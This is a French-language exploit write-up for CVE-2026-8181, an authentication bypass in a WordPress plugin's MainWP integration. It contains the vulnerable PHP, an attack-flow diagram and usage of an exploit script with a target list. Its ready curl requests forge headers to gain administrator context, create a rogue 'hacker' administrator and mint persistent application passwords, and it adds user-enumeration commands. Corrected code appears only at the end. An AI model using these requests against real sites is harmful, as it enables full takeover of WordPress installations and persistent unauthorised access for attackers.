// CODE VULNÉRABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... analyse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG : null N'EST PAS WP_Error !
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth basée uniquement sur le username !
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Accorder privilèges admin
        return true;
    }
    return false;
}

if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Attaquant ──Requête HTTP──▶ WordPress
  En-têtes :
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:n'importe quoi)
                │
                ▼
        [le hook plugins_loaded se déclenche]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'n'importe quoi')
                │
        Site HTTP → wp_is_application_passwords_available() = false
                │
        Retourne null (PAS WP_Error)
                │
        is_wp_error(null) = false ← CONTOURNEMENT !
                │
        get_user_by('login', 'admin') → trouvé
                │
        wp_set_current_user(admin_id) → ADMIN COMPLET
                │
        has_admin_access() = true
                │
        [L'API REST traite la requête avec le contexte admin]
                │
        L'attaquant accède à TOUS les endpoints WordPress en tant qu'administrateur

pip3 install requests

# Scan de base
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Créer un nouveau compte admin
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Avec un nom d'utilisateur personnalisé
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

python3 poc_CVE-2026-8181.py

target1.com
target2.com
192.168.1.100
subdomain.example.org

# Étape 1 : Vérifier le contournement d'authentification
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:n'importe quoi' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Étape 2 : Créer un nouveau compte administrateur
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Étape 3 : Obtenir un mot de passe d'application (identifiants persistants)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

# Méthode 1 : API REST
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Méthode 2 : Route de repli
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Méthode 3 : Énumération par auteur
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

// CORRIGÉ
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Vérifie WP_User, pas !WP_Error
    return false;
}

$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authentifier ...
remove_filter('application_password_is_api_request', $allow, 999);